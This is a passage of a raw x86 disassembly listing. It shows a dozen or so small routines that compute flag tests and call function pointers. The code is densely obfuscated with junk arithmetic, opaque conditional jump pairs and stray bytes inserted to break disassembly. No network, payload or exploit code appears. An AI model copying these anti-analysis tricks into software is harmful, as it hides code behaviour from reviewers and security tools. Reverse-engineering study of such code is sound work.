loc_4990CE:				; CODE XREF: sub_499022+A7j
		jz	short loc_4990CB


loc_4990D0:				; CODE XREF: sub_499022+A5j
		jmp	short loc_4990CB
; ---------------------------------------------------------------------------


loc_4990D2:				; CODE XREF: sub_499022:loc_4990CBj
		inc	eax
		jmp	short loc_4990D8
; ---------------------------------------------------------------------------


loc_4990D5:				; CODE XREF: sub_499022:loc_4990C2j
		and	eax, 0


loc_4990D8:				; CODE XREF: sub_499022+B1j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E4
		xor	ecx, dword_4ED3E8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4990FB
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4990FB:				; CODE XREF: sub_499022+CEj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D3C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499022	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49910F	proc near		; DATA XREF: sub_4965D8+159Do

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1E00h
		pop	ebx
		jo	short loc_499145
		jl	short loc_499143


loc_49913E:				; CODE XREF: sub_49910F:loc_499143j
					; sub_49910F:loc_499145j
		jmp	short loc_499147
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_499143:				; CODE XREF: sub_49910F+2Dj
		jz	short loc_49913E


loc_499145:				; CODE XREF: sub_49910F+2Bj
		jmp	short loc_49913E
; ---------------------------------------------------------------------------


loc_499147:				; CODE XREF: sub_49910F:loc_49913Ej
		sub	bh, 2
		sub	bh, 3
		push	eax
		dec	bh
		dec	bh
		jo	short loc_49915B
		jl	short loc_499159


loc_499156:				; CODE XREF: sub_49910F:loc_499159j
					; sub_49910F:loc_49915Bj
		jmp	short loc_49915D
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_499159:				; CODE XREF: sub_49910F+45j
		jz	short loc_499156


loc_49915B:				; CODE XREF: sub_49910F+43j
		jmp	short loc_499156
; ---------------------------------------------------------------------------


loc_49915D:				; CODE XREF: sub_49910F:loc_499156j
		and	eax, 800h
		dec	bh
		sub	bh, 14h
		sub	bh, 2
		pop	eax
		dec	bh
		inc	bh
		and	ah, bh
		mov	edx, 13h
		dec	dl
		dec	dl
		sub	dl, 1
		dec	dl
		sub	dl, 9
		dec	dl
		dec	dl
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED414
		xor	ecx, dword_4ED418
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4991B3
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4991B3:				; CODE XREF: sub_49910F+99j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D6C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49910F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4991C7	proc near		; DATA XREF: sub_4965D8+D4Bo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 4Bh
		not	ecx
		bswap	eax
		not	ecx
		xor	ecx, 19h
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 12h
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		add	ecx, 3
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0E00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D8
		xor	ecx, dword_4ED3DC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_499272
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_499272:				; CODE XREF: sub_4991C7+A0j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D30
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4991C7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499286	proc near		; DATA XREF: sub_4965D8+A1o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, 800h
		push	ecx
		mov	ch, 41h
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		mov	ebx, [ebp+arg_4]
		dec	esi
		dec	edi
		dec	edi
		xor	edx, edx
		or	ebx, edx
		jz	short loc_4992C6
		dec	edi
		and	eax, 0
		jmp	short loc_4992CE
; ---------------------------------------------------------------------------


loc_4992C6:				; CODE XREF: sub_499286+38j
		dec	edi
		dec	ecx
		and	eax, 0
		dec	ecx
		dec	edx
		inc	eax


loc_4992CE:				; CODE XREF: sub_499286+3Ej
		mov	[ebp+var_8], eax
		mov	eax, dword_4ED408
		xor	eax, dword_4ED40C
		shl	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4992F0
		mov	ecx, [ebp+var_4]
		or	ecx, 1
		mov	[ebp+var_4], ecx


loc_4992F0:				; CODE XREF: sub_499286+5Fj
		mov	edx, [ebp+var_4]
		push	edx
		call	off_4F1D60
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499286	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499304	proc near		; DATA XREF: sub_4965D8+FAFo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	4
		pop	ecx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		and	al, cl
		mov	bh, 0Fh
		and	bl, 0
		dec	bh
		sub	bh, 3
		dec	bh
		sub	bh, 1
		dec	bh
		and	ah, bh
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_499357
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49935D
; ---------------------------------------------------------------------------


loc_499357:				; CODE XREF: sub_499304+49j
		not	eax
		add	eax, 1
		clc


loc_49935D:				; CODE XREF: sub_499304+51j
		sbb	eax, eax
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED404
		xor	ecx, dword_4ED408
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_499385
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_499385:				; CODE XREF: sub_499304+76j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D5C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499304	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499399	proc near		; DATA XREF: sub_4965D8+333o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D94
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 5
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 41h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		and	eax, 0
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		inc	eax
		dec	bl
		dec	bl
		not	bx
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C4
		xor	ecx, dword_4ED3C8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_499418
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_499418:				; CODE XREF: sub_499399+74j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D1C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499399	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49942C	proc near		; DATA XREF: sub_4965D8+107Bo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		jmp	short loc_49948B
; ---------------------------------------------------------------------------
		and	eax, 1


loc_49948B:				; CODE XREF: sub_49942C+5Aj
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 3
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F4
		xor	ecx, dword_4ED3F8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4994EE
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4994EE:				; CODE XREF: sub_49942C+B7j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D4C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49942C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499502	proc near		; DATA XREF: sub_4965D8+F81o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DBC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 800h
		jmp	short loc_49952B
; ---------------------------------------------------------------------------
		mov	ebx, 80h


loc_49952B:				; CODE XREF: sub_499502+22j
		mov	ebx, 72h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		add	ebx, 8
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3EC
		xor	ecx, dword_4ED3F0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_499575
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_499575:				; CODE XREF: sub_499502+68j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D44
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499502	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499589	proc near		; DATA XREF: sub_4965D8+12B1o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0Eh
		pop	ebx
		sub	bl, 6
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 80h
		dec	bl
		sub	bl, 2
		dec	bl
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 2400h
		dec	dh
		sub	dh, 3
		dec	dh
		sub	dh, 16h
		dec	dh
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D4
		xor	ecx, dword_4ED3D8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49960A
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49960A:				; CODE XREF: sub_499589+76j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D2C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499589	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49961E	proc near		; DATA XREF: sub_4965D8+83Fo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 800h
		jmp	short loc_499647
; ---------------------------------------------------------------------------
		mov	ebx, 80h


loc_499647:				; CODE XREF: sub_49961E+22j
		mov	ebx, 72h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		add	ebx, 8
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0F00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		jo	short loc_49969A
		jl	short loc_499698


loc_499695:				; CODE XREF: sub_49961E:loc_499698j
					; sub_49961E:loc_49969Aj
		jmp	short loc_49969C
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_499698:				; CODE XREF: sub_49961E+75j
		jz	short loc_499695


loc_49969A:				; CODE XREF: sub_49961E+73j
		jmp	short loc_499695
; ---------------------------------------------------------------------------


loc_49969C:				; CODE XREF: sub_49961E:loc_499695j
		cmp	eax, edx
		jo	short loc_4996A7
		jl	short loc_4996A5


loc_4996A2:				; CODE XREF: sub_49961E:loc_4996A5j
					; sub_49961E:loc_4996A7j
		jmp	short loc_4996A9
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4996A5:				; CODE XREF: sub_49961E+82j
		jz	short loc_4996A2


loc_4996A7:				; CODE XREF: sub_49961E+80j
		jmp	short loc_4996A2
; ---------------------------------------------------------------------------


loc_4996A9:				; CODE XREF: sub_49961E:loc_4996A2j
		jnz	short loc_4996BB
		jo	short loc_4996B4
		jl	short loc_4996B2


loc_4996AF:				; CODE XREF: sub_49961E:loc_4996B2j
					; sub_49961E:loc_4996B4j
		jmp	short loc_4996B6
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4996B2:				; CODE XREF: sub_49961E+8Fj
		jz	short loc_4996AF


loc_4996B4:				; CODE XREF: sub_49961E+8Dj
		jmp	short loc_4996AF
; ---------------------------------------------------------------------------


loc_4996B6:				; CODE XREF: sub_49961E:loc_4996AFj
		and	eax, 0
		jmp	short loc_4996CA
; ---------------------------------------------------------------------------


loc_4996BB:				; CODE XREF: sub_49961E:loc_4996A9j
		and	eax, 0
		jo	short loc_4996C7
		jl	short loc_4996C5


loc_4996C2:				; CODE XREF: sub_49961E:loc_4996C5j
					; sub_49961E:loc_4996C7j
		jmp	short loc_4996C9
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4996C5:				; CODE XREF: sub_49961E+A2j
		jz	short loc_4996C2


loc_4996C7:				; CODE XREF: sub_49961E+A0j
		jmp	short loc_4996C2
; ---------------------------------------------------------------------------


loc_4996C9:				; CODE XREF: sub_49961E:loc_4996C2j
		inc	eax


loc_4996CA:				; CODE XREF: sub_49961E+9Bj
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED410
		xor	ecx, dword_4ED414
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4996ED
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4996ED:				; CODE XREF: sub_49961E+C4j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D68
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49961E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499701	proc near		; DATA XREF: sub_4965D8+DE9o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D8C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 52h
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		sub	ecx, 6
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ch
		inc	ecx
		inc	cl
		inc	cl
		add	ecx, 0Fh
		inc	cl
		inc	cl
		add	cl, 2
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		sub	ecx, edx
		dec	ecx
		pop	edx
		bswap	eax
		sub	ecx, 3
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3BC
		xor	ecx, dword_4ED3C0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_499799
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_499799:				; CODE XREF: sub_499701+8Dj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D14
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499701	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4997AD	proc near		; DATA XREF: sub_4965D8+1103o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 86h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jnz	loc_499907
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_499891
		jl	short loc_49988F


loc_49988A:				; CODE XREF: sub_4997AD:loc_49988Fj
					; sub_4997AD:loc_499891j
		jmp	short loc_499893
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49988F:				; CODE XREF: sub_4997AD+DBj
		jz	short loc_49988A


loc_499891:				; CODE XREF: sub_4997AD+D9j
		jmp	short loc_49988A
; ---------------------------------------------------------------------------


loc_499893:				; CODE XREF: sub_4997AD:loc_49988Aj
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		jo	short loc_4998A6
		jl	short loc_4998A4


loc_4998A1:				; CODE XREF: sub_4997AD:loc_4998A4j
					; sub_4997AD:loc_4998A6j
		jmp	short loc_4998A8
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4998A4:				; CODE XREF: sub_4997AD+F2j
		jz	short loc_4998A1


loc_4998A6:				; CODE XREF: sub_4997AD+F0j
		jmp	short loc_4998A1
; ---------------------------------------------------------------------------


loc_4998A8:				; CODE XREF: sub_4997AD:loc_4998A1j
		and	eax, 40h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_4998DC
		jl	short loc_4998DA


loc_4998D5:				; CODE XREF: sub_4997AD:loc_4998DAj
					; sub_4997AD:loc_4998DCj
		jmp	short loc_4998DE
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4998DA:				; CODE XREF: sub_4997AD+126j
		jz	short loc_4998D5


loc_4998DC:				; CODE XREF: sub_4997AD+124j
		jmp	short loc_4998D5
; ---------------------------------------------------------------------------


loc_4998DE:				; CODE XREF: sub_4997AD:loc_4998D5j
		inc	eax
		dec	eax
		jo	short loc_4998EB
		jl	short loc_4998E9


loc_4998E4:				; CODE XREF: sub_4997AD:loc_4998E9j
					; sub_4997AD:loc_4998EBj
		jmp	short loc_4998ED
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4998E9:				; CODE XREF: sub_4997AD+135j
		jz	short loc_4998E4


loc_4998EB:				; CODE XREF: sub_4997AD+133j
		jmp	short loc_4998E4
; ---------------------------------------------------------------------------


loc_4998ED:				; CODE XREF: sub_4997AD:loc_4998E4j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_4998FA
		jl	short loc_4998F8


loc_4998F5:				; CODE XREF: sub_4997AD:loc_4998F8j
					; sub_4997AD:loc_4998FAj
		jmp	short loc_4998FC
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4998F8:				; CODE XREF: sub_4997AD+146j
		jz	short loc_4998F5


loc_4998FA:				; CODE XREF: sub_4997AD+144j
		jmp	short loc_4998F5
; ---------------------------------------------------------------------------


loc_4998FC:				; CODE XREF: sub_4997AD:loc_4998F5j
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_499907
		and	eax, 0
		jmp	short loc_49990B
; ---------------------------------------------------------------------------


loc_499907:				; CODE XREF: sub_4997AD+6Dj
					; sub_4997AD+153j
		and	eax, 0
		inc	eax


loc_49990B:				; CODE XREF: sub_4997AD+158j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED418
		xor	ecx, dword_4ED41C
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49992E
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49992E:				; CODE XREF: sub_4997AD+176j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D70
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4997AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_499942	proc near		; DATA XREF: sub_4965D8+10A8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DAC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 0Ch
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		and	eax, 0
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		and	ecx, 40h
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	eax
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3DC
		xor	ecx, dword_4ED3E0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4999D1
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4999D1:				; CODE XREF: sub_499942+84j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D34
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_499942	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4999E5	proc near		; DATA XREF: sub_4965D8+470o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
